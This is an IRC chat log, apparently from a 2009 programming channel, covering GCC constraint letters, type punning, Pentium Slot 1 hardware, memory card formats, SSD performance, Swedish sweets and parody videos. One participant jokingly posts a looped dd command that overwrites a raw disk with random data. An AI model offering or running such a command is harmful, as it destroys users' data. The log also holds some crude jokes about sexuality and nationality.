22:10:24 or do they have that elsewhere too 22:10:34 constraint letters I mean 22:10:37 AnMaster: gcc is very monolithic, OK, different parts affect other different parts 22:10:45 the constraint letters are used by the pattern-matcher 22:11:00 ais523, are they the same as the inline asm constraint letters? 22:11:01 and also by inline asm 22:11:02 yes 22:11:05 ah the same then 22:11:11 yeah then I know what you are talking about 22:11:22 the inline asm isn't their main use 22:11:27 they're /all over the place/ in the actual backend 22:11:49 and many of the letters, such as "compile-time constant zero", are not particularly useful in inline asm 22:11:56 ais523, they are a pain figuring out if you meant m, =m =&m or whatever 22:11:59 because if you know that something's a constant zero, why did you not just write a zero in your code 22:12:02 I think =&m is valid. Right? 22:12:14 I think so, but I don't deal with the inline asm syntax all that much 22:12:23 the punctuation marks are different there, even though the letters are the same 22:12:32 ais523, interesting 22:14:26 ais523, btw why is it unspecified if char is signed or unsigned without qualifier 22:14:34 since apart from that all are signed 22:14:39 short, int, long and so on 22:14:44 AnMaster: inconsistency between past implementations 22:14:48 C89 modeled existing practice 22:15:02 ais523, but all did signed for int? 22:15:03 the idea in writing C89 was that as many existing programs as possible should be C89-compatible without changes 22:15:07 AnMaster: apparently so 22:15:32 how much shorter would C99 become if you removed all such old compat... 22:15:45 I bet a few pages at least 22:16:44 ais523, btw, it is interesting that gcc shuts up about type punning by pointer if you cast the pointer to void in between 22:16:46 like 22:17:07 AnMaster: doing something extra-verbosely is normally taken by compilers as a hint to shut up 22:17:13 like putting double-parens around an assignment 22:17:24 (const v4sf*)&my_const_v4si; 22:17:27 it dislikes 22:17:35 ((const v4sf*)(const void*)&my_const_v4si); 22:17:36 it accepts 22:17:43 because it shows that you meant it deliberately 22:17:47 well I missed one pair of parantheses there 22:17:54 ais523, yeah I did in that case 22:18:03 ais523, and I deference it just outside 22:18:39 __builtin_ia32_movntps(((float*)(void*)&cfun_static_space) + i*4, 22:18:39 *((const v4sf*)(const void*)&fspace_vector_init)); 22:18:41 ah yes 22:18:45 ais523, like that ^ 22:19:41 ais523, takes quite a bit to make it shut up 22:19:47 bit of work* 22:22:05 -!- oerjan has quit ("Good night"). 22:24:06 ais523, pattern matching seems like the best way to implement most compilers to me 22:24:20 makes it easy to do in a lot of the cases 22:24:36 pentium 3 mounting is fun 22:24:40 because it's rather silly 22:24:45 i mean, why a slot? 22:24:46 ehird, pentium2 you mean 22:24:49 no, 3 22:24:52 ehird, because not all p3 had that 22:24:57 I know that 22:25:01 the katmais did 22:25:10 ehird, P2 did have the same thing as the katmais iirc 22:25:12 http://www.phoronix.net/image.php?id=amd_hd4770&image=amd_rv740_slide3_lrg World's most advanced graphics manufacturing process, revolving around terrible kerning. 22:25:15 ehird, and it is easier? 22:25:20 Surely AMD could do better than that. 22:26:12 ehird, yeah, even I notice the issues with the I in the second entry 22:26:20 or anywhere else 22:26:22 It would be nice if they could spell "semiconductor". 22:26:34 That too. 22:26:42 sure AMD are behind it? 22:26:45 Yes. 22:26:47 Such terrible kerning. 22:26:50 It's the announcement of the 4770. 22:26:54 the spelling is worse 22:26:56 Well, one page of it. 22:26:59 -!- tombom has quit ("Peace and Protection 4.22.2"). 22:27:00 but yeah 22:27:13 ehird, only upper case "I" seems affected 22:27:16 It's appealing to the mainstream market it's aimed at, clearly. 22:27:28 AnMaster: the whole kerning is pretty terrible but the uppercase I is the most noticable 22:27:35 that isn't even a kerning fail 22:27:44 ais523, what 22:27:44 that's just having the letter I far too wide 22:27:44 ais523: it's kerning 22:27:47 er 22:27:48 that's kerning 22:27:50 silly 22:27:58 ehird: kerning's to do with combinations of two letters 22:28:20 hrmw 22:28:21 well fine 22:28:25 err 22:28:30 I thought this was kerning 22:28:49 I think it is 22:28:52 but maybe pedantically it's not 22:29:16 kerning = the changing of letter spacing based on the text instead of a constant tracking, IMO 22:29:23 http://en.wikipedia.org/wiki/File:Kerning.png 22:29:34 If there was good kerning, it would be able to get rid of that extra space. 22:29:40 So, bad kerning *and* font design. 22:29:47 I think the font is verdana 22:29:52 which doesn't have a fucked up uppercase I 22:29:58 ehird, http://en.wikipedia.org/wiki/Slot_1 22:30:05 even so - using verdana in a product announcement? 22:30:09 who _designed_ this shit? 22:30:22 AnMaster: yes, I'm of the opinion it's rather silly 22:30:26 sockets look nicer :P 22:30:31 ehird, what about this http://en.wikipedia.org/wiki/File:Adapter_slot1-socket.jpg 22:30:35 THAT is silly 22:30:37 no 22:30:40 what about it 22:30:46 is it a socket→slot adapter? 22:30:47 THAT is ridiculous 22:30:49 it doesn't seem to mess up lowercase i... 22:30:49 seems so 22:30:50 ehird, yes 22:31:02 I like it, again because http://en.wikipedia.org/wiki/File:Pentium_II_front.jpg looks like a game cartridge. 22:31:13 fizzie: oh, it looks nice, and I agree 22:31:20 I just don't think it's a particularly good way to do a processor 22:31:21 It's like it's calling me to blow on the contacts before I stick it in. 22:31:23 for instance, what about heatsinks and fans? 22:31:35 you can't really do much when it's all encased in a slot 22:31:38 Slot_1 made me think of the DS 22:31:38 fizzie, what 22:31:52 AnMaster: when game catridges lied around 22:31:52 fizzie, blow contacts? HUH 22:31:54 they got dusty 22:31:58 ah 22:32:01 so you blew at the contacts before putting them in 22:32:01 blow in that way 22:32:03 otherwise you'd get glitches 22:32:13 not blow away in a destructive way 22:32:16 AnMaster: I don't think he meant he performed oral sex on game cartridges 22:32:20 dammit, you ruined my joke with timing 22:32:22 type slower 22:32:28 ehird, I meant as in "blow up" 22:32:36 party pooper 22:32:54 at your service :P 22:33:16 anyway why are the contacts hidden on http://en.wikipedia.org/wiki/File:Pentium_II_front.jpg 22:33:55 err, they are? 22:33:57 I can see them 22:34:20 ehird, the contacts doesn't stick out 22:34:24 very odd 22:34:41 Probably to protect against damage/dust/stuff? 22:34:45 maybe 22:34:46 AnMaster: most game slots are like that 22:34:47 That's exactly what makes it look like a game cartridge. 22:34:51 ah 22:34:55 Indeed 22:35:02 what about the holes on CF cards 22:35:12 you don't need to blow stuff clean there usually? 22:35:19 maybe because they are so small 22:35:19 hm 22:36:12 what is the holgram thingy there for 22:36:19 For kewlness. 22:36:26 huh 22:36:33 AnMaster: not a hologam 22:36:36 it's a diagram of the chip 22:36:44 but yes, for kewlness 22:36:44 no? 22:36:53 read http://en.wikipedia.org/wiki/Slot_1 22:36:58 says it is a hologram 22:36:59 AnMaster: like this one for the nehalem: http://images.apple.com/macpro/images/overview_features_processor20090303.png 22:37:03 well, it may be a hologram 22:37:08 but it has the design of the chip on it 22:37:12 Ooh, there's yet another SD standard, after SDHC? 22:37:15 Didn't know.. 22:37:23 FireFly: exciting! 22:37:26 FireFly, SD? 22:37:31 Secure digital 22:37:33 Mem cards.. 22:37:34 ah 22:37:34 The Secure Digital Extended Capacity (SDXC) format was unveiled at CES 2009. The maximum capacity defined for SDXC cards is 2 TB (2048 GB). SDHC cards also have a maximum capacity of 2 TB based on the card data structures, but this is artificially limited to 32 GB by the SD 2.0 document. 22:37:38 2TB memory cards? 22:37:38 Yeah 22:37:42 FireFly, isn't it closed spec? 22:37:42 That's hot. 22:37:43 Just what I'm reading :P 22:37:43 iirc 22:37:47 or is that MMC 22:37:56 * AnMaster sticks to good old CF. 22:38:02 it is what my camera can take 22:38:11 * FireFly prefers SD/SD micro 22:38:13 Ah, Compact Flash. 22:38:16 It's what my stuff uses 22:38:23 There might be some sort of official reason along the lines of assuring you that you're getting the a real processor and not just some old dusty pentium some counterfeiter's done a plastic slot case for. Maybe. 22:38:24 I prefer USB drives :-P 22:38:25 most high end cameras seem to prefer CF 22:38:27 even these days 22:38:27 FireFly: Compact Flash is really the better format. ;) 22:38:28 stuff = Camera, DS, other stuff 22:38:29 :) 22:38:35 pikhq, indeed it is 22:38:36 Since they come up to 128GB-that-you-can-actually-use 22:38:51 CF is the physically-larger format, though. 22:38:55 Maybe, but not the stuff I use :P 22:38:55 ehird, what do you mean "can actually use"? 22:39:03 AnMaster: " SDHC cards also have a maximum capacity of 2 TB based on the card data structures, but this is artificially limited to 32 GB by the SD 2.0 document." 22:39:10 fizzie: You can get freaking hard drives in CF format, though. 22:39:10 You can only use 32GB of SDcard. 22:39:11 ;) 22:39:11 fizzie, it is still way smaller than the camera battery 22:39:21 FireFly, or the lense system 22:39:23 err 22:39:24 fizzie, ^ 22:39:39 AnMaster: It's uncomfortably large for something like a mobile phone, though. (Which -- surprise, surprise -- might be why no mobile phones use it.) 22:39:47 ehird, SD sure. But who cares about SD 22:39:50 ehird, I use CF 22:39:57 I want a really huge SD micro card :( 22:40:03 AnMaster: People with a camera that isn't high-end. 22:40:10 And mobiles. 22:40:15 fizzie, yeah, I have no idea why I would want it in a phone 22:40:27 People like FireFly do 22:40:28 ehird, um my mobile uses some other card 22:40:32 XD? 22:40:34 Your mobile, perhaps. 22:40:35 iirc 22:40:38 Keyword yours. 22:40:46 ehird, Nokia 22:40:47 wait 22:40:53 SD micro it seems 22:40:57 :D 22:41:01 but I don't have a card for it 22:41:04 nor do I want one 22:41:05 ehird: Currently, CF is only up to about 100GB. The limit, though is something like petabytes... 22:41:19 the built in 30 MB is enough for the address book 22:41:27 what else would I need 22:41:46 MicroSDs are quite extremely small, thought 22:41:48 MicroSD might be the most common mobile phone thing nowadays; Nokia had a lot of (or at least some) MMC using models at some point, though. 22:41:49 also CF is faster iirc 22:42:10 I mean, I'm surprised how you can fit 8 gig in something as thin as a nail 22:42:11 CF is PATA speed. 22:42:24 -!- upyr[emacs] has quit (Remote closed the connection). 22:42:25 pikhq, pretty sure it is higher than most though 22:42:43 pikhq, UDMA5? Or higher? 22:42:56 UDMA 133. 22:43:05 What's amusing is that they still show CF card speeds in "Nx", where N is the 150kbps audio-CD data rate. 22:43:14 pikhq, wow what 22:43:14 Future revisions will implement SATA. 22:43:30 pikhq, so new cards won't work on my current camera? 22:44:01 It will be a different, similar format. 22:44:09 "CFast". 22:44:21 ... Fuck. 22:44:37 pikhq, huh 22:44:38 CFast will use a standard SATA data connector and a slightly different power connector. 22:44:53 pikhq, that will be quite a large connector 22:45:09 for the card 22:45:29 I'd expect a much smaller power connector. 22:45:40 That's the interface speed, though. I don't think I've seen advertised speed more than something like "300x", which would mean 45Mbps. 22:46:01 fizzie: That's because it's Flash. 22:46:11 s/Flash/flash/ 22:46:20 A microdrive can probably hit faster speeds. 22:46:35 um 22:46:45 I thought flash was faster than harddrives? 22:46:47 They have that smaller "microsata" connector (not sure about standardization status there), wonder why not use that in some SATA-based CF-y thing. 22:46:48 Or maybe I'm being dumb. 22:46:57 AnMaster: Er, SSDs are. 22:47:12 AnMaster: An SSD is, flash memory is not generally. 22:47:17 ehird, aren't those basically the same but done as harddrives instead of flash cards? 22:47:28 AnMaster: Not really. 22:47:37 ehird, different technology? 22:47:44 No. 22:47:48 then what 22:47:52 I'm not too certain; ask pikhq. 22:48:24 More flash chips, for one thing. 22:48:28 ah 22:48:35 You can write to/read from multiple in parallel. 22:48:43 Yeah 22:48:53 They use smaller, faster chips. 22:50:15 Flash memory with large capacity stores more than one bit in each flash cell. 22:50:27 This gets a lot of storage, but is slower. 22:50:43 ah interesting 22:50:44 pikhq: Nope, actually. 22:50:49 the X25-M is about as performant as the X25-E. 22:50:51 Sometimes even moreso. 22:51:02 iirc, if you do a fuckton of sequential reads/writes it can be faster, but not by much 22:53:53 ehird, hm it should be safe to open the case of a SSD right (while it is definitely unsafe to do that in case of a harddrive!) 22:53:54 A hard drive is still somewhat faster for sequential operations, and a hard drive is much, much faster for small writes. 22:54:04 AnMaster: Sure. 22:54:10 Anand did that his SSD reviews. 22:54:18 's just flash memory + a controller. 22:54:20 who 22:54:29 Anand Lal Shimpi of anandtech.com 22:54:32 (hard drive doesn't have to seek for the first, and for the second, the hard drive doesn't have to do 1MB-granularity writes) 22:54:33 ah 22:54:35 The author of the ever-helpful SSD Anthology 22:54:52 22:53 pikhq: A hard drive is still somewhat faster for sequential operations, and a hard drive is much, much faster for small writes. 22:54:54 Sorry, NO. 22:55:02 the X25-M is faster than harddrives in every case. 22:55:09 For sequential reads and writes, for random reads and writes. 22:55:10 ehird, [citation needed] 22:55:16 It's OPTIMIZED for tiny writes, chrissake! 22:55:24 AnMaster: http://www.anandtech.com/printarticle.aspx?i=3531 22:55:33 read the 31 pages or just trust me 22:55:35 ehird, independent source 22:55:39 that is independent 22:55:44 no ties to Intel or anything 22:55:48 independent from anand 22:55:49 duh 22:55:51 and intel 22:55:53 try the google 22:56:00 or buy an ssd and try it yourself 22:56:03 Is the X25-M Flash memory or battery-backed RAM? 22:56:06 pikhq: flash memory 22:56:12 there's a reason it's recommended as a disk drive: 22:56:16 it's really really fast on <4KB random write 22:56:17 s 22:56:26 (and everything else, but especially so) 22:57:13 -!- olsner has quit ("Leaving"). 22:57:50 ehird: ... That X25-M is slower for sequential writes. 22:58:00 in some cases 22:58:06 And by "small writes", I should've said "for a single small write at a time". 22:58:17 err, no 22:58:25 for random reads/writes, an SSD is definitely way faster 22:58:39 Obviously, if you're doing more than one at a time, the SSD is guaranteed to be faster. 22:58:43 No seeking. 22:58:46 also... 22:58:49 pikhq: http://images.anandtech.com/graphs/thessdanthology_031809001858/18640.png 22:58:56 The x25-E is faster there 22:59:00 Which is still an SSD 22:59:24 so it's MLC that does that 22:59:30 still, you don't do sequential writes much on an OS drive 22:59:39 and the sequential read performance is still great: http://images.anandtech.com/graphs/thessdanthology_031809001858/18639.png 22:59:47 and the random read/write performance blows everything else out of the water 22:59:49 Okay, the X25-E is just stunning. 23:00:07 so you get about 30MB/sec slower than a 5400rpm HD with an X25-M when doing the rare operation of big sequential writes 23:00:16 that's not really a big deal at all 23:00:32 ehird, rare seq read? 23:00:37 since it's a rare operation on an OS drive, and not actually all that much slower than HDs 23:00:40 AnMaster: sequential WRIT 23:00:40 E 23:00:43 ah 23:00:44 * pikhq does sequential writes somewhat often. :p 23:00:48 -!- BeholdMyGlory has quit (Remote closed the connection). 23:01:01 pikhq: You do a bajillion random writes every time you load a page in your browser. 23:01:14 And a bajillion random reads when you start a program. 23:01:25 ehird: Uh, no. 23:01:30 Large sequential writes are stunningly rare in comparison to everything else an OS drive does. 23:01:34 *OS drive*. 23:01:39 Not media drive. 23:01:42 I would think the whole cache thing would mitigate the write issues somewhat, especially given that you're likely to have 6 gigabytes of memory free for caching data. 23:01:50 It's not like firefox's going to sync() after each write. 23:01:52 Why the fucking hell would a browser do random writes to your hard drive? 23:01:56 pikhq: Dude. Cache. 23:02:04 pikhq: Look at firefox sometime. 23:02:10 fizzie: actually, a bug in firefox 3 rc meant it /did/, on Linux 23:02:11 It does a ridiculous amounts of writes per page loaded. 23:02:13 Browsers tend to keep cache in RAM and then later commit it to disk. 23:02:13 but that was fixed 23:02:14 ais523: he was joking 23:02:19 ehird: ah, ok 23:02:30 The random reads, though, is a good point. 23:02:38 pikhq: anyway, if you're seriously arguing that an HD is faster than an SSD for OS drives 23:02:44 go buy an SSD, and pop it in your machine, and copy your OS over. 23:02:51 ehird: I'm not. 23:02:52 and then weep at the performance ;-) 23:03:00 pikhq: you seemed to be implying it 23:03:00 I'm just saying that an SSD isn't better in all cases. 23:03:13 It's not better when you're doing large sequential writes and totally need max speed on them. 23:03:14 And I stand corrected with that X25-E. 23:03:20 Which is terribly rare, to be honest. 23:03:27 That's just stunning. 23:03:35 pikhq: Yes; but the X25-E is expensive. 64GB max space, for the cost of the 160GB M one. 23:03:46 And the M beats it slightly on the more conventional operations quite a bit. 23:03:50 Eh, not worth it yet, but it will be. 23:04:01 Nah; MLC is the way forward. 23:04:05 For now, I'll content myself with cheap magnetic disks. 23:04:08 Except in enterprise server environments. 23:04:11 Which is the target market of the _E. 23:04:12 *-E 23:04:33 pikhq: Have fun with that; I'll be attempting to snap my fingers fast enough to measure the opening speed of applications. 23:05:00 I don't really see how the opening speed of applications is relevant at all, but I guess that might be just my peculiar use case. 23:05:09 ehird: I'll be holding onto my money. 23:05:21 fizzie: Well, it's not; let's say operating speed of applications. 23:05:23 But that's so vague. 23:05:41 "And this stack of bills went towards my education instead..." 23:05:48 pikhq: I'll be spending thousands on every other part of my machine and thus making the reasonable decision for a high-end assembly :-P 23:05:53 Mwaha. 23:05:57 <_< 23:06:01 >_> 23:06:03 ehird: Well, sure, if you're spending thousands. 23:06:21 Get a single SSD and a bunch of cheap disks for bulk storage. 23:06:22 'snot my fault "hardware is cheap" only applies relatively. 23:06:32 (or if you're spending tens of thousands, bunch of pricy SSDs) 23:06:38 pikhq: Single SSD on / + single 2TB disk on /home/ehird/media. 23:06:55 ehird: That's a high-end setup there. 23:06:58 Spiffy, though. 23:07:14 pikhq: a 2TB 7.5k RPM drive actually only costs around ~$170 23:07:23 which is just a little more than a 1TB drive 23:07:35 "Little more"? 23:07:41 1TB drives are about $130 23:07:42 1TB drives are under a hundred. 23:07:43 I don't actually think the operating speed of applications is relevant for me either, since I don't do much waiting; I guess I could be mildly pleased with faster compilation times, though. 23:07:48 Under a hundred? Where? 23:08:03 fizzie: Well, if you're totally satisfied with performance, obviously increasing it isn't going to satisfy you. 23:08:22 fizzie: Compilation is not very disk-bound, though. 23:08:28 Over here 1TB is around 100 €, 1.5TB is around 130-140 €, 2TB is around 300 € 23:08:32 fizzie: An SSD is about general snappiness. 23:08:54 ehird, matters for boot mostly 23:08:57 pikhq: OK, cheapest 1TB drive on newegg is $79.99 23:09:00 so I stand corrected 23:09:03 AnMaster: no, it matters for everything 23:09:13 ehird, once system is up I tend to use the same running set of apps all the time 23:09:14 mostly 23:09:16 Deewiant: 81.90 eur ($112 approx.) seems to be the cheapest 1TB drive in verkkokauppa.com. But Finland's not a cheap place for hardware. :/ 23:09:25 it's the difference between 0.5-1 second of waiting and 0.1 second of waiting 23:09:28 which is huge, psychologically 23:09:34 verkkokauppa.com is what I was looking at, too 23:09:39 So, that $170 2TB drive is more than twice the cost of a 1TB drive. ;) 23:09:47 Deewiant: It's the de-facto standard. 23:09:51 pikhq: a cheap one. 23:09:57 And that 81.9 € one is 5400 RPM 23:09:58 $130 seems to be more common 23:09:59 Fair enough. 23:10:17 And yeah, getting hardware in Finland sucks. 23:10:17 Deewiant: The 82.90 is 7200 RPM. 23:10:26 Right you are. 23:10:56 Getting hardware in continental Europe sucks in general. 23:11:06 Deewiant: It seems like buying overseas and paying the shipping could be cheaper for finns. 23:11:13 They do advertise a lower power usage for the 5400 RPM model. 23:11:31 ehird: Most US stores seem to have a shipping model of "California and Wyoming" or whatever 23:11:51 I'm annoyed that I can't use the nice Nexus Value 430W psu for my machine; maybe I'll get one of those "10 watts less!" super-green harddrives to ease my soul! 23:11:56 They don't even bother to state on their pages that they ship to the US only, it's so obvious :-P 23:12:03 There's also the "whole import tax and other stuff" thing for outside-EU ordering. 23:12:11 The UK seems to have okay prices on tech. 23:12:13 s/"whole /whole "/ 23:12:21 And shipping probably wouldn't be a huge problem. 23:12:25 For hardware, US > UK > Japan >> Germany > the rest 23:12:35 The US just rocks because of newegg. 23:12:35 Not sure if China should be there somewhere. 23:12:43 God, I wish they shipped to the UK. 23:12:45 The Atom box and assorted hardware came from UK, since it's EU-internal. 23:12:52 Deewiant: Japan > UK; we just have a few okay sites. 23:12:56 Japan has *everything*. 23:13:14 Well, whatever. There's still that >> there. 23:13:16 Scythe's website is so unprofessional. "6Heat Pieps" 23:13:45 The problem isn't shipping costs; I'd gladly pay shipping costs if there were any store that actually shipped what I wanted to Europe 23:13:56 Deewiant: China's probably cheaper, because of insanely crappy knock-offs. 23:14:10 Price wasn't the only thing I was considering 23:14:23 If the only stuff available is crappy knock-offs then that's not too good either :-P 23:20:23 it's the difference between 0.5-1 second of waiting and 0.1 second of waiting 23:20:25 for what 23:20:46 For operations to complete. 23:20:48 ehird, most of the stuff is in page cache early on for me 23:21:28 ehird, what specific operations. Most stuff I do is either CPU bound, memory bound, or just very harddrive trashing (would wear out a flash drive soon) 23:22:12 i challenge you to wear out an SSD quickly 23:22:20 ehird, use it as swap :P 23:22:25 I said quickly. 23:22:26 I won 23:22:43 ehird, sure. Use it as swap on a a system with 128 MB RAM 23:22:45 Run KDE 4 23:22:51 I said quickly. 23:22:59 ehird, it will be quickly 23:23:16 -!- FireFly has quit ("Later"). 23:23:23 Yes, because SSDs are the least reliable things ever and break with 3 seconds of use. 23:23:53 um. 3 seconds... is that how you define quickly? 23:24:03 I define quickly to "within two years" 23:24:09 Please look up "hyperbole". 23:24:12 while true;dd if=/dev/urandom of=/dev/hda;done 23:24:14 :p 23:24:17 pikhq: hda? 23:24:21 You think they use *IDE*? 23:24:21 sda 23:24:40 Linux no longer uses hda 23:24:43 even for PATA 23:24:49 it uses /dev/sd* for all 23:24:51 ... 23:24:52 Ah, right. Thinko. 23:25:00 AnMaster: er, for IDE... 23:25:01 Well, that's up to you; certainly the old PATA stuff is still in the kernel. 23:25:04 ehird, yes too 23:25:06 I should know that, I've got /dev/sd* for IDE and SATA here. 23:25:09 Heh. 23:25:14 fizzie, well true 23:25:15 (though to be fair, 23:25:19 fizzie, but why use it? 23:25:23 I just use /dev/mapper) 23:25:46 AnMaster: When I last bothered to look, quite a lot of the PATA drivers on the libata combined-SATA-and-PATA side were marked as EXPERIMENTAL. 23:25:58 fizzie, hm maybe. 23:26:04 That was quite a while ago, though. 23:26:15 fizzie: There's the general-purpose PATA driver. :p 23:26:18 fizzie, last I read most worked fine even thought they were marked like that 23:27:12 The Atom box has the CF card adapter in the PATA bus (speed's not an issue) and it's /dev/sda there, because CONFIG_ATA_PIIX wasn't marked experimental any longer. 23:27:44 Quite a lot of the experimental markings have gone away. But the heading still reads "Serial ATA (prod) and Parallel ATA (experimental) drivers". 23:28:44 On this desktop I just twiddled the bios bit to turn the SATA controller to AHCI mode, and forgot about PATA support; I don't have any hardware in the bus anyway. Truly a box of the future, even if it's some years old. 23:28:52 I think it's going to be marked that way until they can remove the old PATA stuff. 23:29:34 * pikhq goes out to mow 23:29:42 fizzie, what about DVD 23:29:50 AnMaster: SATA for that too. 23:29:57 mow? 23:30:12 fizzie, heh why. surely the DVD is slower than SATA 23:30:17 why would it benefit from it 23:30:20 'Cuz pata sucks? 23:30:30 The cable is smaller, blocks airflow even less than rounded IDE cables. :p 23:30:36 i hate pasta. 23:30:41 oh you said pata 23:30:44 not pasta 23:30:46 EVEN SO 23:30:48 i hate pasta. 23:30:52 what 23:30:53 how 23:30:54 can 23:30:54 fizzie, ah true 23:30:56 you 23:30:58 hate 23:31:00 pasta 23:31:02 you 23:31:03 I did mention the drive ("TSSTcorpCD/DVDW SH-S183A") but admittedly the from the name it's not obvious which interface it has. 23:31:04 demon 23:31:06 :| 23:31:08 pasta rocks 23:31:09 i just dont like it 23:31:09 :D 23:31:10 in general 23:31:14 i mean, some pasta is ok 23:31:16 dont get me wrong 23:31:21 ehird, Pasta with Swedish meatballs 23:31:31 but my grandfather makes pasta and its so bad when he does it, so its completely ruined pasta for me. 23:31:33 ehird, very nice 23:31:36 I'd think psygnisfive's tastes would be more pasta with Swedish balls... 23:31:49 mmm swedish food 23:31:55 ehird, especially when my grandmother makes the meatballs 23:32:02 psygnisfive: That's not what I meant. 23:32:03 anmaster: ikea sells swedish food and i love it. 23:32:06 It was a pun on your gayness, you see. 23:32:11 i know it was 23:32:13 Good. 23:32:14 fi:pata equals something like en:stew (as in the food class). 23:32:16 I'm glad we're all aware. 23:32:16 "Your gayness" 23:32:20 Yes. 23:32:22 psygnisfive, IKEA food is horrible 23:32:25 this is the title for drag queens 23:32:25 :D 23:32:25 at least in Sweden 23:32:29 Your Gayness! 23:32:38 psygnisfive: You have a gaycore in your body, which transmits gayity to the world. 23:32:38 anmaster: im sure it is, but i dont mean the food they prepare 23:32:41 i mean the packaged stuff 23:32:47 It also provides alternate power in case your heart stops beating. 23:32:58 psygnisfive, they don't sell that here 23:33:13 like that yummy chocolate-coated hard caramel candy 23:33:13 AnMaster: Of course not; it'd be like selling ice to an eskimo. 23:33:16 i forget what its called 23:33:18 AnMaster: duh; you guys can get it in a food store 23:33:19 fizzie, yeah 23:33:26 it's curios for the foreigners 23:33:34 its in the orange and blue packaging 23:33:37 ehird, you can get stuff from all over the world in the food shop 23:33:38 surely you know this stuff anmaster 23:33:38 daimo! 23:33:39 IKEA does sell some packaged food supplies here in Finland, though they aren't exactly... exotic. 23:33:39 thats it 23:33:41 daimo. 23:33:48 AnMaster: well sure, but not with swedish pacakging and the like 23:33:51 *packaging 23:33:51 It's just "Daim" here. Do they add an o in your place? :p 23:33:56 ehird, so can you 23:33:58 oh maybe its just daim 23:33:59 what about rice 23:34:00 i dont know 23:34:02 anyway 23:34:03 it's from China after all 23:34:04 OMG DAIM 23:34:09 AnMaster: does it have chinese packaging? 23:34:09 no? 23:34:09 and other countries close to it 23:34:22 ehird, what does the packaging look like then at IKEA 23:34:25 also, you swedes have some sort of soft flatbread 23:34:28 Swedish. 23:34:31 It looks very Swedish. 23:34:33 its very white and looks like a cushion 23:34:33 psygnisfive, uh... 23:34:33 Infallopedia says Daim is called "Dime" in the UK/Ireland. 23:34:36 Like Swedish food direct from sweden. 23:34:37 tunnbröd? 23:34:39 fizzie: Oh, Dime? 23:34:40 yes! 23:34:40 is that what you mean 23:34:41 That stuff is ick. 23:34:42 tunnbrod 23:34:46 i love it mm 23:34:47 psygnisfive, NO NO 23:34:52 psygnisfive, bröd 23:34:56 im lazy 23:34:58 psygnisfive, different letter remember 23:35:00 tunnbroed 23:35:04 Seriously. 23:35:06 Dime is awful! 23:35:11 Apparently it's Dajm in swedeland. 23:35:11 ehird, "dime"? 23:35:15 AnMaster: Dajm. 23:35:16 daim is delicious, shut your mouth 23:35:19 ehird, oh that 23:35:31 ehird, yeah it is awesome 23:35:37 NOOOOOOOOOOOOOOOOOOOOOOOO 23:35:40 lets see what else man 23:35:43 where is Dajm from? 23:35:45 YOU ALL HAVE TERRIBLE TASTES IN CHOCOLATE 23:35:48 AnMaster: Sweden. 23:35:48 AnMaster: Sweden, says WP. 23:35:51 oh 23:35:52 http://en.wikipedia.org/wiki/Dime_Bar 23:35:53 ehird its not the chocolate thats awesome 23:35:54 I thought it was from US 23:36:01 "originated in Sweden in 1953" 23:36:13 oh, anmaster 23:36:20 your pear soda stuff? <3 23:36:28 ehird, my grandmother makes a very tasty cake with bits of dime in it 23:36:29 AnMaster is actually behind all things swedish 23:36:30 true story 23:36:48 and just all sorts of swedish food 23:36:49 so yummy 23:37:07 http://sv.wikipedia.org/wiki/Daim <-- "Dajm"...? 23:37:17 mmm daim 23:37:31 "Daim är en sötsak tillverkad av Kraft Foods." <-- "Daim is a sweet produced by Kraft Foods." 23:37:32 anmaster, check en.~ 23:37:39 googling shows Kraft Foods is US based 23:37:42 yeah 23:37:42 yeah en. says it's Dajm 23:37:43 riggt 23:37:45 right* 23:37:47 AnMaster: it originates from sweden 23:37:51 but I guess a US company makes it now 23:37:53 kraft foods is english yes 23:37:53 ehird, I have seen both spellings in Sweden 23:37:56 but you can buy it in UK Ikea anyway 23:37:57 er 23:37:59 eamerican 23:38:02 it is funny 23:38:03 eAmerican. 23:38:04 english speaking surely! 23:38:06 They are cyberspace americans. 23:38:09 Kraft is a Swedish word 23:38:20 meaning Power/Energy 23:38:24 lol 23:38:25 err 23:38:29 Force I think 23:38:29 POWER FOODS 23:38:30 rather 23:38:33 POWER THIRST 23:38:37 MADE WITH LIGHTNING 23:38:39 REAL LIGHTNING 23:38:44 no 23:38:45 Force 23:38:47 As far as I can make out, Kraft Foods ate the whole Marabou thing, which was the Dajm-maker. 23:38:49 is the right translation 23:38:54 can i just say, that NEVER gets old 23:39:05 AnMaster: Powerthirst: http://www.youtube.com/watch?v=qRuNxHqwazs That Munctional-Erlang thing parodies it. 23:39:11 as in the think you measure in Newton 23:39:14 munctional? 23:39:24 psygnisfive: http://www.youtube.com/watch?v=1yH_j8-VVLo 23:39:24 is this a programming language that Mr Monk uses? 23:39:25 what? 23:39:26 monktional. 23:39:27 Functional programming for men. 23:39:31 AnMaster: That MUNCTIONAL Erlang video. 23:39:37 HAH 23:39:39 MUNCTIONAL 23:39:39 It's a parody of the Powerthirst thing that psygnisfive was quoting. 23:39:41 http://www.youtube.com/watch?v=qRuNxHqwazs 23:39:45 brilliant 23:39:47 ehird, I'm not familiar with it 23:39:53 got a link to it ehird ~ 23:39:59 AnMaster: http://www.youtube.com/watch?v=qRuNxHqwazs 23:40:04 But you've seen the munctional one. 23:40:06 ENERGY FOR ME 23:40:06 ehird, what? Where? 23:40:07 You said it was old when I linked it. 23:40:08 MENERGYYYYY 23:40:10 ehird, hm 23:40:12 men* 23:40:13 :P 23:40:14 ehird, which one... 23:40:15 AnMaster: http://www.youtube.com/watch?v=1yH_j8-VVLo anyway 23:40:28 http://www.youtube.com/watch?v=qRuNxHqwazs or http://www.youtube.com/watch?v=1yH_j8-VVLo 23:40:48 YOULL HAVE SO MANY BABYES 23:40:51 FOUR HUNDRED BABIES 23:40:57 AND THEYLL RUN AS FAST AS KENYANS 23:41:00 IN A RACE AGAINST KENYANS 23:41:01 AnMaster: First is powerthirst, second is munctional. 23:41:07 AND THEYLL GET IN A TIE WITH KENYANS 23:41:08 First is the original, second is the erlang-based parody. 23:41:12 AND GET DEPORTED BACK TO KENYAAAAAAAAAAAAAAAAAAAAAA 23:41:18 psygnisfive: Yes. I've seen it too. 23:41:29 sorry, im just enjoying it ok. 23:41:30 god. 23:41:36 have you seen the nutrigrain one? 23:41:44 similar play play on the babies thing 23:41:58 I love the p-maps tour maps part. 23:43:18 ehird, which is the original and which is the joke 23:43:23 Powerthirst is original. 23:43:25 But it's a joke too. 23:43:29 The Munctional is the derivation. 23:43:32 ehird, on what 23:43:33 How many times have I said that? 23:43:39 AnMaster: It's just. A joke. 23:43:42 ah 23:43:46 It's parodying energy drink adverts to a degree. 23:43:55 the MUNCTIONAL guy doesnt have the right 